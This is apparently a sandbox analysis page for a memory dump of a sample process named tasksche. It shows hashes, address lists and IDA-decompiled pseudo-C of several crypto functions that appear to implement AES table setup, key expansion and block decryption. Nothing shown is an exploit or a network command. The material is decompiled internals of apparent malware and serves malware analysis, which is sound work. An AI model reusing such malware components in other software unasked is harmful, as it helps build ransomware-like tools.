0x004148d6
0x004148d8
0x00000000
0x004148d8
0x00000000
0x0041485d
0x0041485d
0x0041485d
0x0041486a
0x0041486a
0x0041486e
0x00414871
0x0041487e
0x0041487e
0x00414890
0x004148a7
0x004148bb
0x004148c2
0x004148cf
0x004148d4
0x00000000
0x004148d4
0x00414875
0x00414878
0x00000000
0x00000000
0x00000000
0x00414878
0x00414657
0x00414659
0x00000000
0x00000000
0x0041465b
0x00414660
0x00414662
0x00000000
0x00000000
0x00000000
0x00414662
0x00000000

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74c5e34f9abefec6387e3142de93532e06a17bc948433487153fd85e66a9dea7
Instruction ID: 3d3811311c0e96151038b15cdb33c9c3baef1538c920ea216c41a1bce0e780a6
Opcode Fuzzy Hash: 74c5e34f9abefec6387e3142de93532e06a17bc948433487153fd85e66a9dea7
Instruction Fuzzy Hash: DC812731600644ABDB14EF29C590BFD73A5EB92318F20842FE9569B2C2C77CD9C2CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB23 Relevance: .2, Instructions: 231
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040CB23(void* __ebx, char* __ecx, char _a4, unsigned int _a8, signed int* _a12) {
				intOrPtr _v8;
				signed int _v9;
				signed int _v10;
				signed int _v11;
				signed int _v12;
				signed int _v13;
				signed int _v14;
				signed int _v15;
				signed int _v16;
				signed int _v17;
				signed int _v18;
				signed int _v19;
				signed int _v20;
				signed int _v21;
				signed int _v22;
				signed int _v23;
				signed int _v24;
				char _v25;
				char _v26;
				char _v27;
				signed int _v28;
				char _v29;
				char _v30;
				char _v31;
				signed int _v32;
				char _v33;
				char _v34;
				char _v35;
				signed int _v36;
				char _v37;
				char _v38;
				char _v39;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				void* __edi;
				void* __esi;
				unsigned int _t204;
				signed int _t236;
				void* _t311;
				signed int* _t312;
				unsigned int _t342;
				intOrPtr* _t344;
				char* _t346;

				_t311 = __ebx;
				_t204 = _a8;
				_t346 = __ecx;
				if(_t204 > 0) {
					_t342 = _t204 >> 4;
					if( *__ecx == 0) {
						_v8 = __ecx + 8;
						E0041C290(__ebx, _t342, __ecx,  &_v56, __ecx + 8, 0x10);
						_a8 = _t342;
						if(_t342 > 0) {
							_t344 = _a4;
							_push(_t311);
							_t312 = _a12;
							do {
								E0040C43B( &_v24, _t344, ( *(_t346 + 4) << 4) + _t346 + 0x18);
								_v40 =  *(0x4371e0 + (_v24 & 0x000000ff) * 4) ^  *(0x436de0 + (_v11 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v14 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v17 & 0x000000ff) * 4);
								_v36 =  *(0x4371e0 + (_v20 & 0x000000ff) * 4) ^  *(0x436de0 + (_v23 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v10 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v13 & 0x000000ff) * 4);
								_v32 =  *(0x4371e0 + (_v16 & 0x000000ff) * 4) ^  *(0x436de0 + (_v19 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v22 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v9 & 0x000000ff) * 4);
								_v28 =  *(0x4371e0 + (_v12 & 0x000000ff) * 4) ^  *(0x436de0 + (_v15 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v18 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v21 & 0x000000ff) * 4);
								_t236 =  *(_t346 + 4) - 1;
								if(_t236 > 1) {
									_a12 = (_t236 << 4) + _t346 + 0x18;
									_a4 = _t236 - 1;
									do {
										E0040C43B( &_v24,  &_v40, _a12);
										_v40 =  *(0x4371e0 + (_v24 & 0x000000ff) * 4) ^  *(0x436de0 + (_v11 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v14 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v17 & 0x000000ff) * 4);
										_v36 =  *(0x4371e0 + (_v20 & 0x000000ff) * 4) ^  *(0x436de0 + (_v23 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v10 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v13 & 0x000000ff) * 4);
										_a12 = _a12 - 0x10;
										_v32 =  *(0x4371e0 + (_v16 & 0x000000ff) * 4) ^  *(0x436de0 + (_v19 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v22 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v9 & 0x000000ff) * 4);
										_t127 =  &_a4;
										 *_t127 = _a4 - 1;
										_v28 =  *(0x4371e0 + (_v12 & 0x000000ff) * 4) ^  *(0x436de0 + (_v15 & 0x000000ff) * 4) ^  *(0x4369e0 + (_v18 & 0x000000ff) * 4) ^  *(0x4365e0 + (_v21 & 0x000000ff) * 4);
									} while ( *_t127 != 0);
								}
								E0040C43B( &_v24,  &_v40, _t346 + 0x28);
								_v40 =  *((intOrPtr*)((_v24 & 0x000000ff) + 0x438600));
								_v39 =  *((intOrPtr*)((_v11 & 0x000000ff) + 0x438600));
								_v38 =  *((intOrPtr*)((_v14 & 0x000000ff) + 0x438600));
								_v37 =  *((intOrPtr*)((_v17 & 0x000000ff) + 0x438600));
								_t146 = (_v20 & 0x000000ff) + 0x438600; // 0x8239e37c
								_v36 =  *_t146;
								_v35 =  *((intOrPtr*)((_v23 & 0x000000ff) + 0x438600));
								_v34 =  *((intOrPtr*)((_v10 & 0x000000ff) + 0x438600));
								_v33 =  *((intOrPtr*)((_v13 & 0x000000ff) + 0x438600));
								_t158 = (_v16 & 0x000000ff) + 0x438600; // 0xa340bf38
								_v32 =  *_t158;
								_v31 =  *((intOrPtr*)((_v19 & 0x000000ff) + 0x438600));
								_v30 =  *((intOrPtr*)((_v22 & 0x000000ff) + 0x438600));
								_v29 =  *((intOrPtr*)((_v9 & 0x000000ff) + 0x438600));
								_t170 = (_v12 & 0x000000ff) + 0x438600; // 0xd56a0952
								_v28 =  *_t170;
								_v27 =  *((intOrPtr*)((_v15 & 0x000000ff) + 0x438600));
								_v26 =  *((intOrPtr*)((_v18 & 0x000000ff) + 0x438600));
								_v25 =  *((intOrPtr*)((_v21 & 0x000000ff) + 0x438600));
								E0040C43B( &_v40,  &_v40, _t346 + 0x18);
								if( *((char*)(_t346 + 1)) != 0) {
									E0040C43B( &_v40,  &_v40,  &_v56);
								}
								_v56 =  *_t344;
								_v52 =  *((intOrPtr*)(_t344 + 4));
								_v48 =  *((intOrPtr*)(_t344 + 8));
								_v44 =  *((intOrPtr*)(_t344 + 0xc));
								 *_t312 = _v40;
								_t312[1] = _v36;
								_t312[2] = _v32;
								_t312[3] = _v28;
								_t344 = _t344 + 0x10;
								_t312 =  &(_t312[4]);
								_t200 =  &_a8;
								 *_t200 = _a8 - 1;
							} while ( *_t200 != 0);
							_pop(_t311);
						}
						_t204 = E0041C290(_t311, _t342, _t346, _v8,  &_v56, 0x10);
					} else {
						_t204 = E0040C46D(__ecx, _a4, _t342, _a12);
					}
				}
				return _t204;
			}

0x0040cb23
0x0040cb26
0x0040cb2d
0x0040cb31
0x0040cb3e
0x0040cb40
0x0040cb59
0x0040cb60
0x0040cb68
0x0040cb6d
0x0040cb73
0x0040cb76
0x0040cb77
0x0040cb7a
0x0040cb8a
0x0040cbbf
0x0040cbee
0x0040cc1d
0x0040cc48
0x0040cc4e
0x0040cc52
0x0040cc62
0x0040cc65
0x0040cc68
0x0040cc73
0x0040cca8
0x0040ccd7
0x0040cd06
0x0040cd0a
0x0040cd35
0x0040cd35
0x0040cd38
0x0040cd38
0x0040cc68
0x0040cd4d
0x0040cd5c
0x0040cd69
0x0040cd76
0x0040cd83
0x0040cd8a
0x0040cd90
0x0040cd9d
0x0040cdaa
0x0040cdb7
0x0040cdbe
0x0040cdc4
0x0040cdd1
0x0040cdde
0x0040cdeb
0x0040cdf2
0x0040cdf8
0x0040ce05
0x0040ce12
0x0040ce1f
0x0040ce2b
0x0040ce34
0x0040ce3f
0x0040ce3f
0x0040ce46
0x0040ce4c
0x0040ce52
0x0040ce58
0x0040ce5e
0x0040ce63
0x0040ce69
0x0040ce6f
0x0040ce72
0x0040ce75
0x0040ce78
0x0040ce78
0x0040ce78
0x0040ce81
0x0040ce81
0x0040ce8b
0x0040cb42
0x0040cb49
0x0040cb49
0x0040ce93
0x0040ce96

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10288e97197f0ad943ca35c4742294250ec2590f5ea2a5543df369fbf88b7a0a
Instruction ID: 755fc568a246bd0a3aab6df15388740ae6706893d1001b075bd9344283f82762
Opcode Fuzzy Hash: 10288e97197f0ad943ca35c4742294250ec2590f5ea2a5543df369fbf88b7a0a
Instruction Fuzzy Hash: FFC151B48182D9AECF01DFA5D4A09FEBFF4AF1A240B0950DAE5D5A7252C234D720DB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040C756 Relevance: .2, Instructions: 195
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040C756() {
				signed char _v8;
				char _v521;
				signed int _t98;
				signed int _t100;
				signed int _t102;
				signed char _t105;
				signed char _t106;
				char _t107;
				void* _t108;
				signed char _t119;
				signed int _t120;
				signed int _t129;
				signed char* _t155;
				signed int _t156;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				signed int _t181;
				signed int _t182;
				void* _t183;

				_t107 = 0;
				_t98 = 1;
				do {
					 *(_t183 + _t107 - 0x304) = _t98;
					 *(_t183 + _t107 - 0x205) = _t98;
					 *((char*)(_t183 + _t98 - 0x104)) = _t107;
					_t107 = _t107 + 1;
					asm("sbb edx, edx");
					_t98 = _t98 ^  ~(_t98 & 0x00000080) & 0x0000011b ^ _t98 + _t98;
				} while (_t98 != 1);
				_t108 = 0;
				do {
					asm("sbb edx, edx");
					 *(_t108 + 0x4385e0) = _t98;
					_t98 = _t98 + _t98 ^  ~(_t98 & 0x00000080) & 0x0000011b;
					_t108 = _t108 + 1;
				} while (_t108 < 0x1e);
				_t105 = 0;
				_v8 = 0;
				L6:
				L6:
				if(_t105 == 0) {
					_t100 = 0;
				} else {
					_t100 =  *( &_v521 - ( *(_t183 + (_t105 & 0x000000ff) - 0x104) & 0x000000ff)) & 0x000000ff;
				}
				_t119 = (_t100 ^ (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) + (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100)) >> 0x00000008 ^ _t100 ^ (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) + (((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) + ((_t100 + _t100 ^ _t100) + (_t100 + _t100 ^ _t100) ^ _t100) ^ _t100) ^ 0x00000063;
				_t102 = _t105 * 4;
				_t16 = _t102 + 0x4375e0; // 0x4375e0
				_t155 = _t16;
				 *(_t105 + 0x438700) = _t119;
				_t155[1] = _t119;
				 *_t155 = _t119;
				 *(_t102 + 0x4379e3) = _t119;
				 *(_t102 + 0x4379e0) = _t119;
				 *(_t102 + 0x437de3) = _t119;
				 *(_t102 + 0x437de2) = _t119;
				 *(_t102 + 0x4381e2) = _t119;
				 *(_t102 + 0x4381e1) = _t119;
				if(_t119 == 0) {
					_t156 = 0;
				} else {
					_t156 =  *(_t183 + ( *(_t183 + (_t119 & 0x000000ff) - 0x104) & 0x000000ff) - 0x2eb) & 0x000000ff;
				}
				 *(_t102 + 0x4375e3) = _t156;
				 *(_t102 + 0x4379e2) = _t156;
				 *(_t102 + 0x437de1) = _t156;
				 *(_t102 + 0x4381e0) = _t156;
				if(_t119 == 0) {
					_t120 = 0;
				} else {
					_t120 =  *(_t183 + ( *(_t183 + (_t119 & 0x000000ff) - 0x104) & 0x000000ff) - 0x303) & 0x000000ff;
				}
				 *(_t102 + 0x4375e2) = _t120;
				 *(_t102 + 0x4379e1) = _t120;
				 *(_t102 + 0x437de0) = _t120;
				 *(_t102 + 0x4381e3) = _t120;
				_t181 = _t105 & 0x000000ff;
				if((((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) >> 0x00000008 ^ ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) ^ 0x00000005) == 0) {
					_t106 = 0;
				} else {
					_t106 =  *((intOrPtr*)( &_v521 - ( *(_t183 + (((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) >> 0x00000008 & 0x000000ff ^ ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) + ((_t181 << 0x00000003 ^ _t181) << 0x00000002 ^ _t181) & 0x000000ff ^ 0x00000005) - 0x104) & 0x000000ff)));
				}
				 *(_v8 + 0x438600) = _t106;
				if(_t106 == 0) {
					_t161 = 0;
				} else {
					_t161 =  *(_t183 + ( *(_t183 + (_t106 & 0x000000ff) - 0x104) & 0x000000ff) - 0x29c) & 0x000000ff;
				}
				_t182 = _t106 & 0x000000ff;
				_t129 = _t182 << 2;
				 *(_t102 + 0x4365e2) = _t161;
				 *(_t102 + 0x4369e1) = _t161;
				 *(_t102 + 0x436de0) = _t161;
				 *(_t102 + 0x4371e3) = _t161;
				 *(_t129 + 0x4355e2) = _t161;
				 *(_t129 + 0x4359e1) = _t161;
				 *(_t129 + 0x435de0) = _t161;
				 *(_t129 + 0x4361e3) = _t161;
				if(_t106 == 0) {
					_t162 = 0;
				} else {
					_t162 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x23d) & 0x000000ff;
				}
				 *(_t102 + 0x4365e0) = _t162;
				 *(_t102 + 0x4369e3) = _t162;
				 *(_t102 + 0x436de2) = _t162;
				 *(_t102 + 0x4371e1) = _t162;
				 *(_t129 + 0x4355e0) = _t162;
				 *(_t129 + 0x4359e3) = _t162;
				 *(_t129 + 0x435de2) = _t162;
				 *(_t129 + 0x4361e1) = _t162;
				if(_t106 == 0) {
					_t163 = 0;
				} else {
					_t163 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x216) & 0x000000ff;
				}
				 *(_t102 + 0x4365e1) = _t163;
				 *(_t102 + 0x4369e0) = _t163;
				 *(_t102 + 0x436de3) = _t163;
				 *(_t102 + 0x4371e2) = _t163;
				 *(_t129 + 0x4355e1) = _t163;
				 *(_t129 + 0x4359e0) = _t163;
				 *(_t129 + 0x435de3) = _t163;
				 *(_t129 + 0x4361e2) = _t163;
				if(_t106 == 0) {
					_t164 = 0;
				} else {
					_t164 =  *(_t183 + ( *(_t183 + _t182 - 0x104) & 0x000000ff) - 0x225) & 0x000000ff;
				}
				_v8 = _v8 + 1;
				 *(_t102 + 0x4365e3) = _t164;
				 *(_t102 + 0x4369e2) = _t164;
				 *(_t102 + 0x436de1) = _t164;
				 *(_t102 + 0x4371e0) = _t164;
				 *(_t129 + 0x4355e3) = _t164;
				 *(_t129 + 0x4359e2) = _t164;
				 *(_t129 + 0x435de1) = _t164;
				 *(_t129 + 0x4361e0) = _t164;
				if(_v8 < 0x100) {
					goto L5;
				}
				return _t102;
				L5:
				_t105 = _v8;
				goto L6;
			}

0x0040c763
0x0040c765
0x0040c76c
0x0040c774
0x0040c77b
0x0040c782
0x0040c789
0x0040c78c
0x0040c795
0x0040c797
0x0040c79c
0x0040c79f
0x0040c7a9
0x0040c7ab
0x0040c7b5
0x0040c7b7
0x0040c7b8
0x0040c7bd
0x0040c7bf
0x00000000
0x0040c7c7
0x0040c7c9
0x0040c7e3
0x0040c7cb
0x0040c7de
0x0040c7de
0x0040c7fd
0x0040c800
0x0040c807
0x0040c807
0x0040c80d
0x0040c813
0x0040c816
0x0040c818
0x0040c81e
0x0040c824
0x0040c82a
0x0040c830
0x0040c836
0x0040c83c
0x0040c853
0x0040c83e
0x0040c849
0x0040c849
0x0040c855
0x0040c85b
0x0040c861
0x0040c867
0x0040c86f
0x0040c886
0x0040c871
0x0040c87c
0x0040c87c
0x0040c888
0x0040c88e
0x0040c894
0x0040c89a
0x0040c8a0
0x0040c8bb
0x0040c8ef
0x0040c8bd
0x0040c8eb
0x0040c8eb
0x0040c8f4
0x0040c8fc
0x0040c913
0x0040c8fe
0x0040c909
0x0040c909
0x0040c915
0x0040c91a
0x0040c91d
0x0040c923
0x0040c929
0x0040c92f
0x0040c935
0x0040c93b
0x0040c941
0x0040c947
0x0040c94f
0x0040c963
0x0040c951
0x0040c959
0x0040c959
0x0040c965
0x0040c96b
0x0040c971
0x0040c977
0x0040c97d
0x0040c983
0x0040c989
0x0040c98f
0x0040c997
0x0040c9ab
0x0040c999
0x0040c9a1
0x0040c9a1
0x0040c9ad
0x0040c9b3
0x0040c9b9
0x0040c9bf
0x0040c9c5
0x0040c9cb
0x0040c9d1
0x0040c9d7
0x0040c9df
0x0040c9f3
0x0040c9e1
0x0040c9e9
0x0040c9e9
0x0040c9f5
0x0040c9ff
0x0040ca05
0x0040ca0b
0x0040ca11
0x0040ca17
0x0040ca1d
0x0040ca23
0x0040ca29
0x0040ca2f
0x00000000
0x00000000
0x0040ca38
0x0040c7c4
0x0040c7c4
0x00000000

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e054519032d673b283cd141de9047936413c4ec94c95275afdf7b1c1e6e7c11b
Instruction ID: cc05d4957c3f93bbff5645bcbd2bf23a73745bdaee5f26767fd414b38deba9ac
Opcode Fuzzy Hash: e054519032d673b283cd141de9047936413c4ec94c95275afdf7b1c1e6e7c11b
Instruction Fuzzy Hash: 7281E35220E2E18EE71AC73C14E96F63FA11F72100B2EA2EEC4CD4F6D7D665051AD729

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4FF Relevance: .2, Instructions: 166
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0040C4FF(intOrPtr __ecx, void* __eflags, signed int _a4) {
				intOrPtr _v8;
				signed int* _v12;
				signed char* _v16;
				signed char* _v20;
				signed char* _v24;
				signed char* _v28;
				char _v40;
				signed int _v41;
				signed int _v42;
				signed int _v43;
				signed int _v44;
				signed char _v45;
				signed char _v46;
				signed char _v47;
				signed char _v48;
				char _v56;
				signed int _v57;
				signed int _v58;
				signed int _v59;
				signed int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t102;
				signed int _t104;
				signed char _t108;
				signed int _t119;
				signed int* _t135;
				signed int* _t136;
				signed int _t137;
				char* _t138;
				void* _t139;
				void* _t140;
				intOrPtr _t141;
				void* _t142;
				void* _t143;
				void* _t145;
				void* _t147;
				void* _t148;
				void* _t149;
				void* _t151;
				void* _t157;

				_t141 = __ecx;
				_v8 = __ecx;
				_t119 =  *((intOrPtr*)(__ecx + 4)) - 6;
				E0041C290(_t119, __ecx, _t147,  &_v60, _a4, 0x20);
				_t102 = 0;
				_t140 = 0;
				_a4 = 0;
				if(_t119 <= 0) {
					L9:
					if(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
						_t104 = _t119 << 2;
						_v16 = _t157 + _t104 - 0x3b;
						_v20 = _t157 + _t104 - 0x3a;
						_v24 = _t157 + _t104 - 0x39;
						_v28 = _t157 + _t104 - 0x3c;
						_v12 = 0x4385e0;
						do {
							_t108 = _v60 ^  *(( *_v16 & 0x000000ff) + 0x438700);
							_v60 = _t108;
							_v59 = _v59 ^  *(( *_v20 & 0x000000ff) + 0x438700);
							_v58 = _v58 ^  *(( *_v24 & 0x000000ff) + 0x438700);
							_v57 = _v57 ^  *(( *_v28 & 0x000000ff) + 0x438700);
							_t102 = _t108 ^  *_v12;
							_v12 =  &(_v12[0]);
							_v60 = _t102;
							if(_t119 == 8) {
								_t135 =  &_v56;
								_t142 = 3;
								do {
									_t148 = 4;
									do {
										 *_t135 =  *_t135 ^  *(_t135 - 4);
										_t135 =  &(_t135[0]);
										_t148 = _t148 - 1;
									} while (_t148 != 0);
									_t142 = _t142 - 1;
								} while (_t142 != 0);
								_v44 = _v44 ^  *((_v48 & 0x000000ff) + 0x438700);
								_v43 = _v43 ^  *((_v47 & 0x000000ff) + 0x438700);
								_v42 = _v42 ^  *((_v46 & 0x000000ff) + 0x438700);
								_v41 = _v41 ^  *((_v45 & 0x000000ff) + 0x438700);
								_t136 =  &_v40;
								_t143 = 3;
								do {
									_t149 = 4;
									do {
										_t102 =  *((intOrPtr*)(_t136 - 4));
										 *_t136 =  *_t136 ^ _t102;
										_t136 =  &(_t136[0]);
										_t149 = _t149 - 1;
									} while (_t149 != 0);
									_t143 = _t143 - 1;
								} while (_t143 != 0);
								goto L26;
							} else {
								if(_t119 > 1) {
									_t138 =  &_v56;
									_t145 = _t119 - 1;
									do {
										_t151 = 0;
										do {
											_t102 =  *((intOrPtr*)(_t138 + _t151 - 4));
											 *(_t138 + _t151) =  *(_t138 + _t151) ^ _t102;
											_t151 = _t151 + 1;
										} while (_t151 < 4);
										_t138 = _t138 + 4;
										_t145 = _t145 - 1;
									} while (_t145 != 0);
									L26:
									_t141 = _v8;
								}
							}
							_t137 = 0;
							if(_t119 <= 0) {
								goto L36;
							} else {
								while(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
									if(_t137 < _t119) {
										_t102 = _t157 + _t137 * 4 - 0x38;
										while(_a4 < 4) {
											_t137 = _t137 + 1;
											_t102 = _t102 + 4;
											_a4 = _a4 + 1;
											asm("movsd");
											_t141 = _v8;
											if(_t137 < _t119) {
												continue;
											}
											goto L33;
										}
									}
									L33:
									if(_a4 == 4) {
										_t140 = _t140 + 1;
										_a4 = _a4 & 0x00000000;
									}
									if(_t137 < _t119) {
										continue;
									} else {
										goto L36;
									}
									goto L37;
								}
							}
							goto L37;
							L36:
						} while (_t140 <=  *((intOrPtr*)(_t141 + 4)));
					}
				} else {
					while(_t140 <=  *((intOrPtr*)(_t141 + 4))) {
						if(_t102 < _t119) {
							_t139 = _t157 + _t102 * 4 - 0x38;
							while(_a4 < 4) {
								_t102 = _t102 + 1;
								_t139 = _t139 + 4;
								_a4 = _a4 + 1;
								asm("movsd");
								_t141 = _v8;
								if(_t102 < _t119) {
									continue;
								}
								goto L6;
							}
						}
						L6:
						if(_a4 == 4) {
							_t140 = _t140 + 1;
							_a4 = _a4 & 0x00000000;
						}
						if(_t102 < _t119) {
							continue;
						} else {
							goto L9;
						}
						goto L37;
					}
				}
				L37:
				return _t102;
			}

0x0040c50d
0x0040c516
0x0040c519
0x0040c51c
0x0040c521
0x0040c526
0x0040c52a
0x0040c52d
0x0040c56f
0x0040c572
0x0040c57a
0x0040c581
0x0040c588
0x0040c593
0x0040c596
0x0040c599
0x0040c5a0
0x0040c5a9
0x0040c5b2
0x0040c5be
0x0040c5cd
0x0040c5dc
0x0040c5e2
0x0040c5e4
0x0040c5e7
0x0040c5ed
0x0040c613
0x0040c616
0x0040c617
0x0040c619
0x0040c61a
0x0040c61d
0x0040c61f
0x0040c620
0x0040c620
0x0040c623
0x0040c623
0x0040c630
0x0040c63d
0x0040c64a
0x0040c657
0x0040c65c
0x0040c65f
0x0040c660
0x0040c662
0x0040c663
0x0040c663
0x0040c666
0x0040c668
0x0040c669
0x0040c669
0x0040c66c
0x0040c66c
0x00000000
0x0040c5ef
0x0040c5f2
0x0040c5f4
0x0040c5f7
0x0040c5fa
0x0040c5fa
0x0040c5fc
0x0040c5fc
0x0040c600
0x0040c603
0x0040c604
0x0040c609
0x0040c60c
0x0040c60c
0x0040c66f
0x0040c66f
0x0040c66f
0x0040c5f2
0x0040c672
0x0040c676
0x00000000
0x00000000
0x0040c678
0x0040c67f
0x0040c681
0x0040c685
0x0040c696
0x0040c697
0x0040c69a
0x0040c69f
0x0040c6a0
0x0040c6a3
0x00000000
0x00000000
0x00000000
0x0040c6a3
0x0040c685
0x0040c6a5
0x0040c6a9
0x0040c6ab
0x0040c6ac
0x0040c6ac
0x0040c6b2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c6b2
0x0040c678
0x00000000
0x0040c6b4
0x0040c6b4
0x0040c5a0
0x00000000
0x0040c52f
0x0040c53a
0x0040c53c
0x0040c540
0x0040c551
0x0040c552
0x0040c555
0x0040c55a
0x0040c55b
0x0040c55e
0x00000000
0x00000000
0x00000000
0x0040c55e
0x0040c540
0x0040c560
0x0040c564
0x0040c566
0x0040c567
0x0040c567
0x0040c56d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040c56d
0x0040c52f
0x0040c6c1
0x0040c6c1

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aae54acdac3927cc066ee4afd89015ce1ad81bcf754d871dab6d471837bf2d3e
Instruction ID: ff0af43037c4d522a8ee791cbe8e93d8d44487ff0532052a3f1666816209b0e9
Opcode Fuzzy Hash: aae54acdac3927cc066ee4afd89015ce1ad81bcf754d871dab6d471837bf2d3e
Instruction Fuzzy Hash: CF51F874804298AACF11CFA4C4D05FDBFB0EF5A328F6955BFD8857B282C2356646CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041450F Relevance: .1, Instructions: 109
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0041450F(void* __ebx, intOrPtr __ecx, signed int* _a4, char _a7, signed int* _a8, signed char _a11) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _t40;
				signed int _t41;
				signed int _t47;
				intOrPtr _t48;
				unsigned int _t49;
				signed int _t53;
				void* _t57;
				void* _t58;
				signed char _t60;
				void* _t64;
				unsigned char _t75;
				intOrPtr _t87;
				signed int* _t91;
				signed int* _t92;
				signed int _t93;
				intOrPtr _t94;

				_t58 = __ebx;
				_t92 = _a4;
				_t91 = _a8;
				_t91[3] = _t91[3] & 0x00000000;
				_v16 = __ecx;
				if(_t92[2] != 0 ||  *_t92 <=  *((intOrPtr*)(__ecx + 0x78)) - 7) {
					L3:
					_push(_t58);
					E004097BA(_t92,  ~(_t92[1]) & 0x00000007);
					_t60 = E004097D1(_t92) >> 8;
					_a11 = _t60;
					E004097BA(_t92, 8);
					_t40 = _t60 & 0x000000ff;
